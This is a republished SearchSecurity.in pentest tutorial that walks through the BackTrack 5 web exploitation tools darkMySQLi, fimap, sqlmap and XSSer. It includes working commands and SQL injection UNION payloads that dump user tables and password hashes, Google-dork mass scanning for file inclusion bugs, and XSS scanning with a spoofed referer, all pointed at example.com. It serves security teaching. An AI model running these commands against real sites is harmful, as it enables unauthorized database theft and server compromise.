A Web exploit toolkit reference guide for BackTrack 5

Karthik R, Contributor

You can read the original story here, on SearchSecurity.in.

In this Web exploit toolkit guide, we provide you with a handy dictionary of Web exploit toolkits and their application, which have not already been covered in previous BackTrack 5 tutorials. This tip is meant as a comprehensive compendium for Web application security enthusiasts.

With Web application security becoming a major concern in recent times, various Web exploit toolkits have been developed for vulnerability assessment. BackTrack 5 comes with a set of very good Web exploitation toolkits such as darkMySQLi, fimap, sqlmap, padbuster, asp-auditor, sqlbrute, sqlninja, sslstrip, w3af console/Gui, websecurity, XSSer. Of these we have covered darkMySQLi, fimap, SQLmap and XSSer in this quick reference guide.

These Web exploit toolkits can be used to scan websites and also exploit applications. A few of the Web exploit toolkits are for exploiting a particular type of Web-based vulnerability. For instance, xsser helps discover xss vulnerabilities, darkmysqli is meant for SQL injection, and fimap is for LFI/RFI vulnerabilities. This article describes these tools and their usage during vulnerability assessment and penetration testing. Note that each Web exploit toolkit has myriad options, but we will discuss only the usage of the tools and the basic commands.

darkMySqli

SQL injection is right at the top of the OWASP Top 10 security risks, and is considered to be one of the most common vulnerabilities in Web applications to be exploited and used by attackers to compromise servers and facilitate stealing of data, installation of backdoors in the network, and such like.

darkMySQLi.py is a multipurpose MySQL injection tool and one of the best Web exploit toolkits. This tool reduces the time to find BlindSql or SQL injection while performing a penetration test. It offers various parameters to make the injection easier. The usage is as follows:

```
wo0t@bt:/pentest/web/darkmysqli# python DarkMySQLi.py --help
```

The above command will provide information about various parameters in darkMySQL

```
wo0t@bt:/pentest/web/darkmysqli# python DarkMySQLi.py -u
http://www.example.com/index.php?id=32+AND+1=2+UNION+ALL+SELEC
T+1,keyword,3,4,5,6,7,8,9,10-- --full
```

Here -u defines the URL and --full is used to dump as much information as possible

Once the necessary parameters are added, press enter to see the results, which will include information on number of rows, database name, database version, column names, table names and so on.

Once all the data has been extracted, specific data can be obtained by editing the URL in the browser. For example for viewing the username from userlist, the URL would be as follows:

```
http://www.example.com/index.php?id=32+and+1=2+union+all+selec
t+1,username,3,4,5,6,7,8,9,10+from+userlist
```

A proxy can also be used while performing sqli in this tool by using the parameter --proxy=Proxy

fimap

The Fimap Web exploit toolkit is written in Python and can be used to find, prepare, audit, exploit and even search automatically (via Google) for local and remote file inclusion bugs in Web applications. This Web exploit toolkit is getting better, as more modules and features keep getting added on. Fimap Web exploit toolkit also allows for introduction of user-generated payloads.

The usage is as follows:

```
wo0t@bt:~$ fimap -u
http://www.example.com/index.php?inc=index.php
```

The parameter -u defines the target URL. To scan a list of URLs from a text file, the command would be:

```
Wo0t@bt:~$ fimap -m -l '/tmp/urlscan.txt'
```

The parameter -m indicates mass scanning and –l is for list.

To scan websites using Google dorks, the usage is:

```
.fimap.py -g -q 'inurl:include.php'
```

Here -g is the parameter for searching with Google and -q stands for the query to be searched for in Google.

Fimap can exploit a vulnerable target and can also upload an interactive shell for further exploitation.

SQLmap

This is another Web exploit toolkit tool for SQL injection. The usage of all these Web exploit toolkits is more or less the same, but with small variations.

The command for obtaining help is:

```
wo0t@bt:/pentest/database/sqlmap# python sqlmap.py --help
```

Usage is as follows:

```
python sqlmap.py [options]
```

Example:

```
wo0t@bt:/pentest/database/sqlmap# python sqlmap.py -u
http://example.com/path/index.php?CategoryID=2 -f
```

The parameter -u returns the URL and -f is used to perform fingerprinting on the specified URL.

```
wo0t@bt:/pentest/database/sqlmap# python sqlmap.py -u
http://example.com/path/index.php?CategoryID=2 -b
```

The parameter -b is used for grabbing the banner of the specified URL. Once the banner has been grabbed, the version of the database is known. The next step would be obtaining the username and password. We can also try to dump the passwords in the database using the following commands:

```
wo0t@bt:/pentest/database/sqlmap# python sqlmap.py -u
http://example.com/path/index.php?CategoryID=2 --current-user
```

--current-user is used to find which user we are authenticated as.

```
wo0t@bt:/pentest/database/sqlmap# python sqlmap.py -u
http://example.com/path/index.php?CategoryID=2 --users

wo0t@bt:/pentest/database/sqlmap# python sqlmap.py -u
http://example.com/path/index.php?CategoryID=2 --passwords
```

The above command will dump all the passwords.

XSSer

Cross-site "scripter" (XSSer) is an automatic framework to detect, exploit and report XSS vulnerabilities. It contains several options to try to bypass certain filters, and various special techniques of code injection. This Web exploit toolkit also offers a GUI version.

Usage:

```
Wo0t@bt:/pentest/web/xsser# python XSSer.py -u
"http://www.example.com" -g "Search.asp?tfSearch=" –proxy
"http://127.0.0.1:8118"–referer"666.666.666.666"–user-agent
"correctaudit"
```

This Web exploit toolkit tool provides information such as URL, attack URL, browsers and method of attack. Once the vulnerable URL is detected, access the specified page and check it in the browser.

XSSer Web exploit toolkit is one of the best automated Web exploit toolkits for checking cross-site scripting bugs in Web applications.

About the author: ***Karthik R*** *is a member of the NULL community. Karthik completed his training for EC-council CEH in December 2010, and is at present pursuing his final year of B.Tech. in Information Technology, from National Institute of Technology, Surathkal. Karthik can be contacted on rkarthik.poojary@gmail.com. He blogs at http://www.epsilonlambda.wordpress.com*

You can subscribe to our twitter feed at @SearchSecIN. You can read the original story here, on SearchSecurity.in.
